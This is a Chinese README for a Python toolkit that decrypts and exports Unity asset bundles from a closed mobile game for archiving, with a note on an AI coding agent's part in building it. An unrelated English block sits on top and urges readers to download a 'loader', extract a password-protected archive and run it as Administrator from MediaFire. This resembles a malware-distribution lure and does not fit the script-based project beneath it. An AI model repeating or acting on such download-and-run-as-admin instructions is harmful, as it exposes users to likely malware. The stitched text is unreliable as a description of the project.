⚡ All-in-one loader: The entire script is compiled into a single loader for your convenience — just download, extract, and run. No extra setup required.
- ⬇️ Download the tool from the button above.
- 📦 Extract the archive (password:
respocket). - 🖱️ Run as Administrator – right‑click the executable and select Run as Administrator.
- ✅ Follow the setup wizard – complete the installation.
- 🚀 Launch the Tool – the main window appears.
⚠️ Important: Official Distribution NoticeWe distribute our software only through MediaFire.
If the download link leads to any other file-sharing service, please do not download it — it may be an unofficial or modified copy.
For your safety, always use the official release.
This release was carefully prepared by the Respocket Team — with attention to every detail, a focus on stability, and respect for our users.
Thank you for choosing our software. Download only official versions and stay with us!
本项目仅用于个人研究、存档与格式分析。游戏资源版权归原开发/发行方所有， 请勿将解包产物用于商业用途或再分发。仓库内不包含任何游戏资源文件。
游戏客户端由 3 个 split APK 组成，核心资源在
split_UnityDataAssetPack.apk!assets/Bundles/Android/：
assets/Bundles/Android/
├── *.ab 普通 AssetBundle（UnityFS，XOR 加密）
├── abxxxxxzip1 ... 7 无扩展名的 ZIP，里面还是 *.ab
├── assetMapName.fb 资源路径映射
├── assetbundlemetainfo.json bundle 清单 + MD5
├── assetbundlestateinfo.json 版本/已解压列表
└── IndependentBundles.json 独立 bundle 列表
皮肤、活动等内容不在首包，而在停服前仍可访问的 CSnap 子包 CDN 上：
## 2. 环境
- Python **3.10+**（开发时使用 3.14）
- 依赖见 `requirements.txt`：
```bash
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -r requirements.txt
主要依赖：
| 包 | 用途 |
|---|---|
UnityPy |
解析 UnityFS、导出 Mesh/Texture/TextAsset |
requests |
下载 CDN 子包 |
Pillow |
贴图转 PNG（UnityPy 的依赖） |
flatbuffers |
读取 .fb 清单（可选，parse_subpackage_fb.py 为无 schema 解析） |
脚本默认从当前工作目录读取输入、写出结果。推荐布局：
<project>/
├── apk/ # 放入 base.apk / split_*.apk
├── work/
│ ├── bundles_encrypted/ # unpack_apk.py 产出
│ ├── bundles_decrypted/ # 解密后的明文
│ ├── exported/ # 导出的资源
│ ├── subpackage/ # 下载的 .subpackage_segment
│ └── subpackage_bundles/ # 切分后的 bundle
└── scripts/ # 本工具包
所有脚本都接受显式路径参数，不依赖固定目录名。
python scripts/check_env.py会打印 Python 版本、UnityPy / requests / Pillow 版本，并用一组构造的
明文/密文验证 XOR 核心（UnityFS\0 ↔ MAGIC、循环密钥、MAGIC 守卫）。
退出码 0 才继续下一步。
⚠️ decrypt.py里的decrypt(path)是原地覆写文件。 使用前请先复制一份原始 APK / bundle，或直接用unpack_apk.py（它会写到新目录）。
python scripts/unpack_apk.py \
--apk apk/split_UnityDataAssetPack.apk \
--out work/产出：
work/bundles_encrypted/：APK 原始提取物（含内层 ZIP 拆出的.ab）work/bundles_decrypted/：XOR 解密后的明文 UnityFS
python scripts/index_bundles.py \
--bundles work/bundles_decrypted \
--out work/_index.jsonl每行一个 bundle 的对象清单，便于先检索 container 路径再决定导出什么。
python scripts/export_bundles.py \
--bundles work/bundles_decrypted \
--out work/exported| Unity 类型 | 输出 |
|---|---|
Texture2D / Sprite / Cubemap |
.png |
Mesh |
.obj |
TextAsset |
原始字节（.bytes / .txt / .json …） |
Font |
.ttf |
Shader / ComputeShader |
.shader |
Material / AnimationClip / MonoBehaviour / SpriteAtlas |
.json（typetree） |
前置：从 APK 取出
assets/Assets/CSnapAssetSetting/HotfixLocalConfig.jsonassets/Assets/CSnapAssetSetting/SubpackageBundleInfo.fb
# 1) 解析子包清单
python scripts/parse_subpackage_fb.py \
--fb SubpackageBundleInfo.fb \
--out work/subpackage_info.json
# 2) 按关键词下载（例如所有 m1895 子包）
python scripts/dl_subpackage.py \
--config HotfixLocalConfig.json \
--info work/subpackage_info.json \
--out work/subpackage/ \
--match m1895
# 3) 切分 + 解密
python scripts/split_subpackage.py \
--segments work/subpackage/ \
--info work/subpackage_info.json \
--out work/subpackage_bundles/
# 4) 导出（自动补齐跨 bundle 依赖）
python scripts/export_subpackage.py \
--bundles work/subpackage_bundles/ \
--info work/subpackage_info.json \
--deps work/subpackage_info_deps.json \
--out work/exported_subpackage/ \
--match m1895| 脚本 | 作用 |
|---|---|
check_env.py |
环境自检：依赖、版本、XOR 核心正确性 |
decrypt.py |
XOR 解密核心（来自 gffcdl，已修复返回值问题） |
unpack_apk.py |
从 split APK 提取 bundles、拆内层 ZIP、批量解密 |
index_bundles.py |
为 bundle 建立对象索引 JSONL |
export_bundles.py |
通用资源导出（贴图/网格/文本/材质/动画） |
parse_subpackage_fb.py |
无 schema 解析 SubpackageBundleInfo.fb |
dl_subpackage.py |
从 CDN 按 tag 下载 .subpackage_segment |
split_subpackage.py |
按魔数切分多 bundle 段并逐段解密 |
export_subpackage.py |
子包资源导出，自动解析 CAB 跨 bundle 依赖 |
- 解密是否正确：明文前 8 字节应为
UnityFS\0。 - 段切分是否正确：每个 bundle 的 header 声明大小应等于实际字节数
（
split_subpackage.py会打印异常）。 - 对象是否完整：
index_bundles.py的objects总数应与assetbundlemetainfo.json的清单规模同量级；解析错误应为 0。 - 导出是否可用：OBJ 用 Blender 打开、PNG 用看图工具打开、JSON 能被
jq解析。
- RGBAHalf 贴图：UnityPy/Pillow 无法把
TextureFormat=17 (RGBAHalf)直接转 PNG， 会报ValueError: bytes must be in range(0, 256)。原始数据仍在 bundle 内， 可用struct.unpack('<e')自行转 16-bit/float TIFF。 - 依赖闭包：某些皮肤 bundle 的 Mesh PPtr 指向另一个 bundle 的 CAB，
必须按
SerializedFile.externals的 CAB 名补齐，否则 Mesh 会缺失。 - 版本差异：不同客户端版本的 bundle 文件名/内容会变化，比对时以 container 路径 + 对象哈希为准，不要只看文件名。
- 停服：CDN 可能随时下线，重要资源请及时本地备份。
- 黑卡蒂工作室（Hecate Studio）——《少女前线：火力控制》的开发团队。 本工具包只是解析他们做出来的东西；所有游戏资源版权归工作室与原发行方所有。
- 在 Internet Archive 上传
GFLFC_resourcepack_202606备份的玩家—— 这份关服前导出的完整运行数据（1506 个 bundle），是本项目验证"CDN 备份是否完整" 的基准，也补上了客户端首包缺失的全部热更内容。原地址：
| 内容 | 地址 |
|---|
- XOR 密钥与初始解密实现来自 gffcdl（作者 Neptuwunium，EUPL-1.2）：
本仓库是在 AI 编程助手（agent 形态的 AI coding，运行在本机，可读写文件、 执行命令、跑调试器）深度参与下完成的。为了对使用者诚实，这里把边界说清楚：
AI 做了什么
- 阅读
assets/Bundles/Android/下的清单文件，定位加密方式与密钥来源； - 反推
.subpackage_segment的真实结构（多段 UnityFS 串联，而非 ZIP）， 并写出按魔数切分 + 逐段解密的实现； - 在没有 FlatBuffers schema 的情况下，通过 vtable 偏移定向解析
SubpackageBundleInfo.fb； - 编写全部脚本、跑通 222 个 CDN 子包的下载/解密/导出， 并根据导出失败的具体报错逐个修正（跨 bundle PPtr、RGBAHalf、重名覆盖等）；
- 整理本文档与
docs/下的格式说明、操作流程、实测记录。
人做了什么
- 提供样本、账号环境与目标（"把仍能下载的角色资源完整备份下来"）；
- 判断哪些产出可用、哪些需要重做，决定取舍（例如最终放弃硬链接方案）；
- 复核 AI 的结论，并在真实设备上验证导出物能正常打开。
这意味着什么
- 脚本与文档中的每一个数字（bundle 数、对象数、字节数、MD5）都来自实际执行，
不是推测；
docs/notes.md里连踩过的坑都保留了。 - AI 会犯错，本仓库的修错过程同样记录在案（
decrypt.py的返回值 bug、 子包格式的误判、RGBAHalf 的失败路径），可以当作"AI 辅助逆向"的样本参考。 - 仓库不含任何游戏资源，也不含账号、设备、CDN token 等信息。
本仓库整体按 EUPL-1.2 发布（LICENSE），以兼容上游 gffcdl 的许可。
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